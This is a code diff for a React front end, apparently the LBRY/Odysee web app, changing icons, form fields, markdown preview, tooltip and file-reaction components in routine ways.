const [rawValue, setRawValue] = useState(defaultValue);
|
||||
const debouncedValue: string = useDebounce(rawValue, FILTER_DEBOUNCE_MS);
|
||||
|
||||
useEffect(() => {
|
||||
onChange(debouncedValue);
|
||||
}, [onChange, debouncedValue]);
|
||||
|
||||
return (
|
||||
<div className={classnames({ wunderbar: !inline, 'wunderbar--inline': inline })}>
|
||||
{icon && <Icon icon={icon} />}
|
||||
<FormField
|
||||
className={classnames({ wunderbar__input: !inline, 'wunderbar__input--inline': inline })}
|
||||
type="text"
|
||||
name="debounced_search"
|
||||
spellCheck={false}
|
||||
placeholder={placeholder}
|
||||
value={rawValue}
|
||||
onChange={(e) => setRawValue(e.target.value.trim())}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -71,7 +71,7 @@ class FileSelector extends React.PureComponent<Props> {
|
||||
<FormField
|
||||
label={label}
|
||||
webkitdirectory="true"
|
||||
className="form-field--with-button"
|
||||
className="form-field--copyable"
|
||||
error={error}
|
||||
disabled={disabled}
|
||||
type="text"
|
||||
@@ -80,7 +80,7 @@ class FileSelector extends React.PureComponent<Props> {
|
||||
inputButton={
|
||||
<Button
|
||||
autoFocus={autoFocus}
|
||||
button="primary"
|
||||
button="secondary"
|
||||
disabled={disabled}
|
||||
onClick={type === 'openDirectory' ? this.handleDirectoryInputSelection : this.fileInputButton}
|
||||
label={__('Browse')}
|
||||
|
||||
@@ -157,7 +157,7 @@ export class FormField extends React.PureComponent<Props> {
|
||||
|
||||
delta = instance.getValue().length + delta - textAreaMaxLength;
|
||||
if (delta > 0) {
|
||||
str = str.substring(0, str.length - delta);
|
||||
str = str.substr(0, str.length - delta);
|
||||
changes.update(changes.from, changes.to, str.split('\n'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,22 +0,0 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { MenuLink } from '@reach/menu-button';
|
||||
import Icon from 'component/common/icon';
|
||||
|
||||
type Props = {
|
||||
icon: string,
|
||||
name: string,
|
||||
page: string,
|
||||
};
|
||||
|
||||
export default function HeaderMenuLink(props: Props) {
|
||||
const { icon, name, page } = props;
|
||||
|
||||
return (
|
||||
<MenuLink className="menu__link" as={Link} to={`/$/${page}`}>
|
||||
<Icon aria-hidden icon={icon} />
|
||||
{name}
|
||||
</MenuLink>
|
||||
);
|
||||
}
|
||||
@@ -67,16 +67,19 @@ export const icons = {
|
||||
viewBox="0 0 24 24"
|
||||
width={size}
|
||||
height={size}
|
||||
fill="black"
|
||||
fill="none"
|
||||
stroke={color}
|
||||
strokeWidth="0"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
{...rest}
|
||||
>
|
||||
<path d="M1.03125 14.1562V9.84375L12 0L22.9688 9.84375V14.1562L12 24L1.03125 14.1562Z" />
|
||||
<path d="M8.925 10.3688L3.99375 14.8125L7.70625 18.15L12.6375 13.7063L8.925 10.3688Z" />
|
||||
<path d="M8.925 10.3688L15.1312 4.80005L12 1.98755L2.60625 10.425V13.575L3.99375 14.8125L8.925 10.3688Z" />
|
||||
<path d="M1.03125 14.1562V9.84375L12 0L22.9688 9.84375V14.1562L12 24L1.03125 14.1562Z" fill="black" />
|
||||
<path d="M8.925 10.3688L3.99375 14.8125L7.70625 18.15L12.6375 13.7063L8.925 10.3688Z" fill="black" />
|
||||
<path
|
||||
d="M8.925 10.3688L15.1312 4.80005L12 1.98755L2.60625 10.425V13.575L3.99375 14.8125L8.925 10.3688Z"
|
||||
fill="black"
|
||||
/>
|
||||
<path
|
||||
d="M8.925 10.3688L3.99375 14.8125L7.70625 18.15L12.6375 13.7063L8.925 10.3688Z"
|
||||
fill={`url(#paint0_linear${randomId})`}
|
||||
@@ -169,7 +172,7 @@ export const icons = {
|
||||
</g>
|
||||
),
|
||||
[ICONS.HOME]: buildIcon(
|
||||
<g fill="none" fillRule="evenodd" strokeLinecap="round" strokeLinejoin="round">
|
||||
<g strokeWidth="2" fill="none" fillRule="evenodd" strokeLinecap="round" strokeLinejoin="round">
|
||||
<path d="M1, 11 L12, 2 C12, 2 22.9999989, 11.0000005 23, 11" />
|
||||
<path d="M3, 10 C3, 10 3, 10.4453982 3, 10.9968336 L3, 20.0170446 C3, 20.5675806 3.43788135, 21.0138782 4.00292933, 21.0138781 L8.99707067, 21.0138779 C9.55097324, 21.0138779 10, 20.5751284 10, 20.0089602 L10, 15.0049177 C10, 14.449917 10.4433532, 14 11.0093689, 14 L12.9906311, 14 C13.5480902, 14 14, 14.4387495 14, 15.0049177 L14, 20.0089602 C14, 20.5639609 14.4378817, 21.0138779 15.0029302, 21.0138779 L19.9970758, 21.0138781 C20.5509789, 21.0138782 21.000006, 20.56848 21.000006, 20.0170446 L21.0000057, 10" />
|
||||
</g>
|
||||
@@ -195,25 +198,9 @@ export const icons = {
|
||||
<path d="M20.88 18.09A5 5 0 0 0 18 9h-1.26A8 8 0 1 0 3 16.29" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.SUBSCRIBE]: (props: IconProps) => {
|
||||
const { size = 24, color = 'currentColor', ...otherProps } = props;
|
||||
return (
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={size}
|
||||
height={size}
|
||||
fill={color}
|
||||
stroke={'#FFFFFF'}
|
||||
strokeWidth="2"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
{...otherProps}
|
||||
>
|
||||
<path d="M20.84 4.61a5.5 5.5 0 0 0-7.78 0L12 5.67l-1.06-1.06a5.5 5.5 0 0 0-7.78 7.78l1.06 1.06L12 21.23l7.78-7.78 1.06-1.06a5.5 5.5 0 0 0 0-7.78z" />
|
||||
</svg>
|
||||
);
|
||||
},
|
||||
[ICONS.SUBSCRIBE]: buildIcon(
|
||||
<path d="M20.84 4.61a5.5 5.5 0 0 0-7.78 0L12 5.67l-1.06-1.06a5.5 5.5 0 0 0-7.78 7.78l1.06 1.06L12 21.23l7.78-7.78 1.06-1.06a5.5 5.5 0 0 0 0-7.78z" />
|
||||
),
|
||||
[ICONS.SUBSCRIBED]: (props: IconProps) => {
|
||||
const { size = 24, color = 'currentColor', ...otherProps } = props;
|
||||
return (
|
||||
@@ -223,8 +210,8 @@ export const icons = {
|
||||
width={size}
|
||||
height={size}
|
||||
fill={color}
|
||||
stroke={'#FFFFFF'}
|
||||
strokeWidth="2"
|
||||
stroke={color}
|
||||
strokeWidth="1"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
{...otherProps}
|
||||
@@ -234,25 +221,9 @@ export const icons = {
|
||||
);
|
||||
},
|
||||
|
||||
[ICONS.UNSUBSCRIBE]: (props: IconProps) => {
|
||||
const { size = 24, color = 'currentColor', ...otherProps } = props;
|
||||
return (
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={size}
|
||||
height={size}
|
||||
fill={color}
|
||||
stroke={'#FFFFFF'}
|
||||
strokeWidth="2"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
{...otherProps}
|
||||
>
|
||||
<path d="M 12,5.67 10.94,4.61 C 5.7533356,-0.57666427 -2.0266644,7.2033357 3.16,12.39 l 1.06,1.06 7.78,7.78 7.78,-7.78 1.06,-1.06 c 2.149101,-2.148092 2.149101,-5.6319078 0,-7.78 -2.148092,-2.1491008 -5.631908,-2.1491008 -7.78,0 L 9.4481298,8.2303201 15.320603,9.2419066 11.772427,13.723825" />
|
||||
</svg>
|
||||
);
|
||||
},
|
||||
[ICONS.UNSUBSCRIBE]: buildIcon(
|
||||
<path d="M 12,5.67 10.94,4.61 C 5.7533356,-0.57666427 -2.0266644,7.2033357 3.16,12.39 l 1.06,1.06 7.78,7.78 7.78,-7.78 1.06,-1.06 c 2.149101,-2.148092 2.149101,-5.6319078 0,-7.78 -2.148092,-2.1491008 -5.631908,-2.1491008 -7.78,0 L 9.4481298,8.2303201 15.320603,9.2419066 11.772427,13.723825" />
|
||||
),
|
||||
[ICONS.SETTINGS]: buildIcon(
|
||||
<g>
|
||||
<circle cx="12" cy="12" r="3" />
|
||||
@@ -285,12 +256,6 @@ export const icons = {
|
||||
<line x1="1" y1="10" x2="23" y2="10" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.WALLET2]: buildIcon(
|
||||
<g>
|
||||
<path d="M1 4c0 1 1 2 2 2h17M1 4c0-1 1-2 2-2h15c1 0 2 1 2 2v2M1 4v16c0 1 1 2 2 2h18c1 0 2-1 2-2V8c0-1-1-2-2-2h-1" />
|
||||
<path d="m14 11 2 2v2l-4 4-4-4v-2l4-4 2 2Zm0 0-3 3M9 16l3-3" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.COIN_SWAP]: buildIcon(
|
||||
<g>
|
||||
<path d="M8 7h12m0 0l-4-4m4 4l-4 4m0 6H4m0 0l4 4m-4-4l4-4" />
|
||||
@@ -417,10 +382,21 @@ export const icons = {
|
||||
[ICONS.NO]: buildIcon(
|
||||
<path d="M10 15v4a3 3 0 0 0 3 3l4-9V2H5.72a2 2 0 0 0-2 1.7l-1.38 9a2 2 0 0 0 2 2.3zm7-13h2.67A2.31 2.31 0 0 1 22 4v7a2.31 2.31 0 0 1-2.33 2H17" />
|
||||
),
|
||||
[ICONS.UP]: buildIcon(<polyline transform="matrix(1,0,0,-1,0,24.707107)" points="6 9 12 15 18 9" />),
|
||||
[ICONS.UP_TOP]: buildIcon(<path d="m6 16 6-6 6 6M6 8h12" />),
|
||||
[ICONS.DOWN_BOTTOM]: buildIcon(<path d="m6 8 6 6 6-6M6 16h12" />),
|
||||
[ICONS.DRAG]: buildIcon(<path d="m8 18 4 4 4-4M4 14h16M4 10h16M8 6l4-4 4 4" />),
|
||||
[ICONS.UP]: buildIcon(
|
||||
<g>
|
||||
<polyline transform="matrix(1,0,0,-1,0,24.707107)" points="6 9 12 15 18 9" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.UP_TOP]: buildIcon(
|
||||
<g>
|
||||
<path d="m6 16 6-6 6 6M6 8h12" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.DOWN_BOTTOM]: buildIcon(
|
||||
<g>
|
||||
<path d="m6 8 6 6 6-6M6 16h12" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.DOWN]: buildIcon(<polyline points="6 9 12 15 18 9" />),
|
||||
[ICONS.FULLSCREEN]: buildIcon(
|
||||
<path d="M8 3H5a2 2 0 0 0-2 2v3m18 0V5a2 2 0 0 0-2-2h-3m0 18h3a2 2 0 0 0 2-2v-3M3 16v3a2 2 0 0 0 2 2h3" />
|
||||
@@ -621,24 +597,12 @@ export const icons = {
|
||||
<path d="M21 13v2a4 4 0 0 1-4 4H3" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.MORE_VERTICAL]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width="20"
|
||||
height="20"
|
||||
fill="none"
|
||||
strokeWidth="2"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<g>
|
||||
<circle cx="12" cy="5" r="1" />
|
||||
<circle cx="12" cy="12" r="1" />
|
||||
<circle cx="12" cy="19" r="1" />
|
||||
</g>
|
||||
</svg>
|
||||
[ICONS.MORE_VERTICAL]: buildIcon(
|
||||
<g>
|
||||
<circle cx="12" cy="5" r="1" />
|
||||
<circle cx="12" cy="12" r="1" />
|
||||
<circle cx="12" cy="19" r="1" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.MORE]: buildIcon(
|
||||
<g transform="rotate(90 12 12)">
|
||||
@@ -1021,6 +985,7 @@ export const icons = {
|
||||
width={props.size || '16'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
@@ -1170,6 +1135,13 @@ export const icons = {
|
||||
[ICONS.DOWNVOTE]: buildIcon(
|
||||
<path d="M10 15v4a3 3 0 0 0 3 3l4-9V2H5.72a2 2 0 0 0-2 1.7l-1.38 9a2 2 0 0 0 2 2.3zm7-13h2.67A2.31 2.31 0 0 1 22 4v7a2.31 2.31 0 0 1-2.33 2H17" />
|
||||
),
|
||||
[ICONS.FIRE_ACTIVE]: buildIcon(
|
||||
<path
|
||||
d="M11.3969 23.04C11.3969 23.04 18.4903 21.8396 18.9753 16.2795C19.3997 9.89148 14.2161 7.86333 13.2915 4.56586C13.1861 4.2261 13.1051 3.88045 13.049 3.53109C12.9174 2.68094 12.8516 1.82342 12.852 0.964865C12.852 0.964865 5.607 0.426785 4.87947 10.6227C4.34858 10.1469 3.92655 9.57999 3.63777 8.9548C3.349 8.32962 3.19921 7.65853 3.19706 6.98033C3.19706 6.98033 -4.32074 18.7767 8.45649 23.04C7.94555 22.1623 7.67841 21.1842 7.67841 20.1909C7.67841 19.1976 7.94555 18.2195 8.45649 17.3418C9.54778 15.0653 9.97218 13.8788 9.97218 13.8788C9.97218 13.8788 15.5044 18.6525 11.3969 23.04Z"
|
||||
fill="#FF6635"
|
||||
strokeWidth="0"
|
||||
/>
|
||||
),
|
||||
[ICONS.SLIME_ACTIVE]: buildIcon(
|
||||
<path
|
||||
d="M13.065 4.18508C12.5638 4.47334 11.9699 4.5547 11.4096 4.41183C10.8494 4.26896 10.367 3.91315 10.065 3.42008C9.70126 2.96799 9.52899 2.39146 9.58506 1.81392C9.64113 1.23639 9.92109 0.703759 10.365 0.330081C10.8662 0.0418164 11.4601 -0.0395341 12.0204 0.103332C12.5806 0.246199 13.063 0.602008 13.365 1.09508C13.7287 1.54717 13.901 2.12371 13.8449 2.70124C13.7889 3.27877 13.5089 3.8114 13.065 4.18508ZM2.565 6.76508C1.98518 6.6732 1.39241 6.81157 0.913189 7.15066C0.433971 7.48976 0.106262 8.00272 0 8.58008C0.0118186 9.17159 0.256137 9.73464 0.680058 10.1473C1.10398 10.56 1.67339 10.7891 2.265 10.7851C2.84509 10.8863 3.44175 10.7561 3.92691 10.4224C4.41207 10.0886 4.74707 9.57801 4.86 9.00008C4.85804 8.7046 4.79789 8.41241 4.683 8.14018C4.56811 7.86794 4.40072 7.62101 4.1904 7.41347C3.98007 7.20593 3.73093 7.04185 3.45719 6.9306C3.18345 6.81935 2.89048 6.7631 2.595 6.76508H2.565ZM22.2 15.1951C21.9286 15.0703 21.635 15.0008 21.3364 14.9907C21.0379 14.9806 20.7403 15.0301 20.461 15.1362C20.1818 15.2423 19.9264 15.403 19.7099 15.6088C19.4934 15.8146 19.3201 16.0615 19.2 16.3351C19.1369 16.6299 19.1337 16.9345 19.1906 17.2306C19.2475 17.5267 19.3634 17.8084 19.5313 18.0588C19.6992 18.3093 19.9157 18.5235 20.168 18.6886C20.4203 18.8537 20.7033 18.9665 21 19.0201C21.2714 19.1449 21.565 19.2143 21.8636 19.2244C22.1621 19.2346 22.4597 19.1851 22.739 19.079C23.0182 18.9729 23.2736 18.8122 23.4901 18.6064C23.7066 18.4005 23.8799 18.1536 24 17.8801C24.0634 17.5873 24.0677 17.2849 24.0127 16.9904C23.9577 16.696 23.8444 16.4155 23.6795 16.1654C23.5147 15.9153 23.3015 15.7007 23.0526 15.5341C22.8037 15.3674 22.524 15.2522 22.23 15.1951H22.2ZM20.34 10.2451C20.0073 9.99542 19.6009 9.86349 19.185 9.87008C18.4572 9.93018 17.7485 10.1341 17.1 10.4701C16.7447 10.6341 16.3789 10.7744 16.005 10.8901H15.69C15.5961 10.9108 15.4989 10.9108 15.405 10.8901C15 9.97508 16.5 9.00008 18.285 7.93508C18.8914 7.60883 19.4599 7.21644 19.98 6.76508C20.3961 6.30667 20.646 5.72169 20.6895 5.10413C20.733 4.48658 20.5677 3.87232 20.22 3.36008C19.9329 2.89588 19.5307 2.51381 19.0523 2.25098C18.574 1.98815 18.0358 1.85349 17.49 1.86008C17.2067 1.85969 16.9245 1.89496 16.65 1.96508C16.1585 2.08101 15.7042 2.31914 15.3293 2.65739C14.9543 2.99565 14.6708 3.42308 14.505 3.90008C14.16 4.75508 13.14 7.30508 12.135 7.71008C12.0359 7.72949 11.9341 7.72949 11.835 7.71008C11.6138 7.70259 11.3956 7.65692 11.19 7.57508C9.96 7.12508 9.6 5.62508 9.225 4.03508C9.06457 3.15891 8.79234 2.30695 8.415 1.50008C8.17043 1.04181 7.80465 0.659541 7.3576 0.395014C6.91055 0.130487 6.39941 -0.00612938 5.88 8.05856e-05C5.30686 0.011692 4.74338 0.149999 4.23 0.405081C3.872 0.589131 3.5547 0.843345 3.297 1.15258C3.03931 1.46182 2.84648 1.81976 2.73 2.20508C2.58357 2.66415 2.532 3.1482 2.57841 3.62781C2.62483 4.10743 2.76826 4.57261 3 4.99508C3.63898 5.99088 4.39988 6.90294 5.265 7.71008C5.59239 8.0233 5.90283 8.35377 6.195 8.70008C6.41249 8.94283 6.57687 9.22833 6.67761 9.5383C6.77835 9.84826 6.81322 10.1759 6.78 10.5001C6.68279 10.762 6.52008 10.9947 6.30737 11.1759C6.09467 11.3571 5.83908 11.4808 5.565 11.5351H5.19C4.89755 11.5247 4.60651 11.4896 4.32 11.4301C3.94485 11.3508 3.56329 11.3056 3.18 11.2951H3C2.50224 11.3269 2.02675 11.513 1.63964 11.8275C1.25253 12.142 0.973032 12.5694 0.84 13.0501C0.685221 13.5092 0.678705 14.0053 0.821373 14.4683C0.964041 14.9313 1.24867 15.3377 1.635 15.6301C1.97288 15.8809 2.38429 16.0127 2.805 16.0051C3.4891 15.9504 4.15377 15.751 4.755 15.4201C5.18104 15.1991 5.64344 15.0568 6.12 15.0001H6.285C6.32317 15.0086 6.35846 15.0269 6.38739 15.0532C6.41632 15.0795 6.4379 15.1129 6.45 15.1501C6.52858 15.4213 6.49621 15.7127 6.36 15.9601C5.80418 16.8088 4.95508 17.4229 3.975 17.6851C3.38444 17.8608 2.85799 18.205 2.46025 18.6756C2.06252 19.1462 1.81078 19.7226 1.73592 20.3342C1.66107 20.9458 1.76635 21.5659 2.03886 22.1185C2.31136 22.6711 2.73924 23.1321 3.27 23.4451C3.81477 23.8292 4.46349 24.0384 5.13 24.0451C6.1389 23.9485 7.08103 23.4979 7.7894 22.773C8.49778 22.0482 8.92665 21.0959 9 20.0851V19.9501C9.135 19.0351 9.33 17.7751 10.05 17.3401C10.2442 17.2216 10.4675 17.1593 10.695 17.1601C11.0828 17.1781 11.4558 17.3142 11.7641 17.5501C12.0724 17.786 12.3012 18.1105 12.42 18.4801C13.155 21.2251 13.725 23.4001 16.14 23.4001C16.4527 23.3961 16.7643 23.361 17.07 23.2951C17.8256 23.2158 18.5231 22.8527 19.0214 22.2792C19.5198 21.7057 19.7819 20.9644 19.755 20.2051C19.6664 19.6213 19.4389 19.0673 19.0918 18.5896C18.7446 18.112 18.2879 17.7246 17.76 17.4601C17.4534 17.2574 17.1625 17.0317 16.89 16.7851C16.005 15.9301 15.855 15.4051 15.885 15.1051C15.9198 14.8698 16.0313 14.6526 16.2021 14.4871C16.373 14.3217 16.5937 14.2173 16.83 14.1901H17.055C17.31 14.1901 17.61 14.1901 17.895 14.1901C18.18 14.1901 18.57 14.1901 18.84 14.1901H19.14C19.6172 14.1642 20.0748 13.9919 20.4505 13.6967C20.8263 13.4014 21.102 12.9976 21.24 12.5401C21.3316 12.1166 21.2981 11.6757 21.1436 11.2709C20.9892 10.8661 20.7204 10.5149 20.37 10.2601L20.34 10.2451Z"
|
||||
|
||||
@@ -1,24 +1,24 @@
|
||||
// @flow
|
||||
import { CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS } from 'config';
|
||||
import * as React from 'react';
|
||||
import classnames from 'classnames';
|
||||
import remark from 'remark';
|
||||
import remarkAttr from 'remark-attr';
|
||||
import remarkStrip from 'strip-markdown';
|
||||
import remarkEmoji from 'remark-emoji';
|
||||
import remarkBreaks from 'remark-breaks';
|
||||
import remarkFrontMatter from 'remark-frontmatter';
|
||||
import reactRenderer from 'remark-react';
|
||||
import MarkdownLink from 'component/markdownLink';
|
||||
import defaultSchema from 'hast-util-sanitize/lib/github.json';
|
||||
import { formattedLinks, inlineLinks } from 'util/remark-lbry';
|
||||
import { formattedTimestamp, inlineTimestamp } from 'util/remark-timestamp';
|
||||
import { formattedEmote, inlineEmote } from 'util/remark-emote';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as React from 'react';
|
||||
import Button from 'component/button';
|
||||
import classnames from 'classnames';
|
||||
import defaultSchema from 'hast-util-sanitize/lib/github.json';
|
||||
import MarkdownLink from 'component/markdownLink';
|
||||
import OptimizedImage from 'component/optimizedImage';
|
||||
import reactRenderer from 'remark-react';
|
||||
import remark from 'remark';
|
||||
import remarkAttr from 'remark-attr';
|
||||
import remarkBreaks from 'remark-breaks';
|
||||
import remarkEmoji from 'remark-emoji';
|
||||
import remarkFrontMatter from 'remark-frontmatter';
|
||||
import remarkStrip from 'strip-markdown';
|
||||
import ZoomableImage from 'component/zoomableImage';
|
||||
import { CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS } from 'config';
|
||||
import Button from 'component/button';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import { parse } from 'node-html-parser';
|
||||
import OptimizedImage from 'component/optimizedImage';
|
||||
|
||||
const RE_EMOTE = /:\+1:|:-1:|:[\w-]+:/;
|
||||
|
||||
@@ -146,7 +146,7 @@ function isStakeEnoughForPreview(stakedLevel) {
|
||||
// ****************************************************************************
|
||||
// ****************************************************************************
|
||||
|
||||
export default React.memo<MarkdownProps>(function MarkdownPreview(props: MarkdownProps) {
|
||||
const MarkdownPreview = (props: MarkdownProps) => {
|
||||
const {
|
||||
content,
|
||||
strip,
|
||||
@@ -173,10 +173,15 @@ export default React.memo<MarkdownProps>(function MarkdownPreview(props: Markdow
|
||||
if (lbrySrc && lbrySrc.startsWith('lbry://')) {
|
||||
return lbrySrc;
|
||||
}
|
||||
|
||||
return iframeHtml;
|
||||
})
|
||||
: '';
|
||||
|
||||
const initialQuote = strippedContent.split(' ').find((word) => word.length > 0 || word.charAt(0) === '>');
|
||||
let stripQuote;
|
||||
if (initialQuote && initialQuote.charAt(0) === '>') stripQuote = true;
|
||||
|
||||
const remarkOptions: Object = {
|
||||
sanitize: schema,
|
||||
fragment: React.Fragment,
|
||||
@@ -196,7 +201,7 @@ export default React.memo<MarkdownProps>(function MarkdownPreview(props: Markdow
|
||||
div: React.Fragment,
|
||||
img: (imgProps) =>
|
||||
isStakeEnoughForPreview(stakedLevel) && !isEmote(imgProps.title, imgProps.src) ? (
|
||||
<ZoomableImage {...imgProps} />
|
||||
ZoomableImage
|
||||
) : (
|
||||
<SimpleImageLink src={imgProps.src} alt={imgProps.alt} title={imgProps.title} />
|
||||
),
|
||||
@@ -211,10 +216,22 @@ export default React.memo<MarkdownProps>(function MarkdownPreview(props: Markdow
|
||||
};
|
||||
|
||||
// Strip all content and just render text
|
||||
if (strip) {
|
||||
if (strip || stripQuote) {
|
||||
// Remove new lines and extra space
|
||||
remarkOptions.remarkReactComponents.p = SimpleText;
|
||||
return (
|
||||
return stripQuote ? (
|
||||
<span dir="auto" className="markdown-preview">
|
||||
<blockquote>
|
||||
{
|
||||
remark()
|
||||
.use(remarkStrip)
|
||||
.use(remarkFrontMatter, ['yaml'])
|
||||
.use(reactRenderer, remarkOptions)
|
||||
.processSync(content).contents
|
||||
}
|
||||
</blockquote>
|
||||
</span>
|
||||
) : (
|
||||
<span dir="auto" className="markdown-preview">
|
||||
{
|
||||
remark()
|
||||
@@ -250,4 +267,6 @@ export default React.memo<MarkdownProps>(function MarkdownPreview(props: Markdow
|
||||
}
|
||||
</div>
|
||||
);
|
||||
});
|
||||
};
|
||||
|
||||
export default MarkdownPreview;
|
||||
@@ -1,30 +1,18 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import MUITooltip from '@mui/material/Tooltip';
|
||||
import type { Node } from 'react';
|
||||
import React from 'react';
|
||||
import ReachTooltip from '@reach/tooltip';
|
||||
// import '@reach/tooltip/styles.css'; --> 'scss/third-party.scss'
|
||||
|
||||
type Props = {
|
||||
arrow?: boolean,
|
||||
label: string | Node,
|
||||
children: Node,
|
||||
disableInteractive?: boolean,
|
||||
enterDelay?: number,
|
||||
title?: string | Node,
|
||||
};
|
||||
|
||||
function Tooltip(props: Props) {
|
||||
const { arrow = true, children, disableInteractive = true, enterDelay = 300, title } = props;
|
||||
const { children, label } = props;
|
||||
|
||||
return (
|
||||
<MUITooltip
|
||||
arrow={arrow}
|
||||
disableInteractive={disableInteractive}
|
||||
enterDelay={enterDelay}
|
||||
enterNextDelay={enterDelay}
|
||||
title={title}
|
||||
>
|
||||
{children}
|
||||
</MUITooltip>
|
||||
);
|
||||
return <ReachTooltip label={label}>{children}</ReachTooltip>;
|
||||
}
|
||||
|
||||
export default Tooltip;
|
||||
@@ -10,7 +10,7 @@ const TransactionLink = (props: Props) => {
|
||||
const { id } = props;
|
||||
|
||||
const href = `https://explorer.lbry.com/tx/${id}`;
|
||||
const label = id.slice(0, 7);
|
||||
const label = id.substr(0, 7);
|
||||
|
||||
return <Button button="link" href={href} label={label} />;
|
||||
};
|
||||
|
||||
@@ -49,7 +49,7 @@ class DateTime extends React.Component<Props, State> {
|
||||
|
||||
// Strip off the 's' for the singular suffix, construct the string ID,
|
||||
// then load the localized version.
|
||||
const suffix = duration === 1 ? suffixList[i].slice(0, -1) : suffixList[i];
|
||||
const suffix = duration === 1 ? suffixList[i].substr(0, suffixList[i].length - 1) : suffixList[i];
|
||||
let strId = '%duration% ' + suffix + ' ago';
|
||||
|
||||
if (!suffix) {
|
||||
|
||||
@@ -118,7 +118,7 @@ function FileActions(props: Props) {
|
||||
{!claimIsMine && (
|
||||
<Menu>
|
||||
<MenuButton
|
||||
className="button--file-action--menu"
|
||||
className="button--file-action"
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
e.preventDefault();
|
||||
|
||||
@@ -6,6 +6,7 @@ import classnames from 'classnames';
|
||||
import Button from 'component/button';
|
||||
import { formatNumberWithCommas } from 'util/number';
|
||||
import NudgeFloating from 'component/nudgeFloating';
|
||||
|
||||
type Props = {
|
||||
claim: StreamClaim,
|
||||
doFetchReactions: (string) => void,
|
||||
@@ -56,10 +57,26 @@ function FileReactions(props: Props) {
|
||||
<Button
|
||||
title={__('I like this')}
|
||||
authSrc="filereaction_like"
|
||||
className={classnames('button--file-action button-like', {
|
||||
className={classnames('button--file-action', {
|
||||
'button--file-action-active': myReaction === REACTION_TYPES.LIKE,
|
||||
})}
|
||||
label={<>{formatNumberWithCommas(likeCount, 0)}</>}
|
||||
label={
|
||||
<>
|
||||
{/* Be nice to have animated Likes */}
|
||||
{/* {myReaction === REACTION_TYPES.LIKE && SIMPLE_SITE && ( */}
|
||||
{/* <> */}
|
||||
{/* <div className="button__fire-glow" /> */}
|
||||
{/* <div className="button__fire-particle1" /> */}
|
||||
{/* <div className="button__fire-particle2" /> */}
|
||||
{/* <div className="button__fire-particle3" /> */}
|
||||
{/* <div className="button__fire-particle4" /> */}
|
||||
{/* <div className="button__fire-particle5" /> */}
|
||||
{/* <div className="button__fire-particle6" /> */}
|
||||
{/* </> */}
|
||||
{/* )} */}
|
||||
{formatNumberWithCommas(likeCount, 0)}
|
||||
</>
|
||||
}
|
||||
iconSize={18}
|
||||
icon={likeIcon}
|
||||
onClick={() => doReactionLike(uri)}
|
||||
@@ -67,7 +84,7 @@ function FileReactions(props: Props) {
|
||||
<Button
|
||||
authSrc={'filereaction_dislike'}
|
||||
title={__('I dislike this')}
|
||||
className={classnames('button--file-action button-dislike', {
|
||||
className={classnames('button--file-action', {
|
||||
'button--file-action-active': myReaction === REACTION_TYPES.DISLIKE,
|
||||
})}
|
||||
label={<>{formatNumberWithCommas(dislikeCount, 0)}</>}
|
||||
|
||||
@@ -24,7 +24,6 @@ import PdfViewer from 'component/viewers/pdfViewer';
|
||||
type Props = {
|
||||
uri: string,
|
||||
streamingUrl: string,
|
||||
embedded?: boolean,
|
||||
contentType: string,
|
||||
claim: StreamClaim,
|
||||
currentTheme: string,
|
||||
@@ -45,9 +44,8 @@ class FileRender extends React.PureComponent<Props> {
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
const { embedded } = this.props;
|
||||
window.addEventListener('keydown', this.escapeListener, true);
|
||||
analytics.playerLoadedEvent(embedded);
|
||||
analytics.playerLoadedEvent();
|
||||
}
|
||||
|
||||
componentWillUnmount() {
|
||||
@@ -146,13 +144,12 @@ class FileRender extends React.PureComponent<Props> {
|
||||
}
|
||||
|
||||
render() {
|
||||
const { embedded, renderMode, className } = this.props;
|
||||
const { renderMode, className } = this.props;
|
||||
|
||||
return (
|
||||
<div
|
||||
className={classnames('file-render', className, {
|
||||
'file-render--document': RENDER_MODES.TEXT_MODES.includes(renderMode),
|
||||
'file-render--embed': embedded,
|
||||
'file-render--video': renderMode === RENDER_MODES.VIDEO || renderMode === RENDER_MODES.AUDIO,
|
||||
})}
|
||||
>
|
||||
|
||||
@@ -18,11 +18,6 @@ import { useHistory } from 'react-router';
|
||||
import { isURIEqual } from 'util/lbryURI';
|
||||
import AutoplayCountdown from 'component/autoplayCountdown';
|
||||
|
||||
// scss/init/vars.scss
|
||||
// --header-height
|
||||
const HEADER_HEIGHT = 60;
|
||||
const HEADER_HEIGHT_MOBILE = 60;
|
||||
|
||||
const IS_DESKTOP_MAC = typeof process === 'object' ? process.platform === 'darwin' : false;
|
||||
const DEBOUNCE_WINDOW_RESIZE_HANDLER_MS = 100;
|
||||
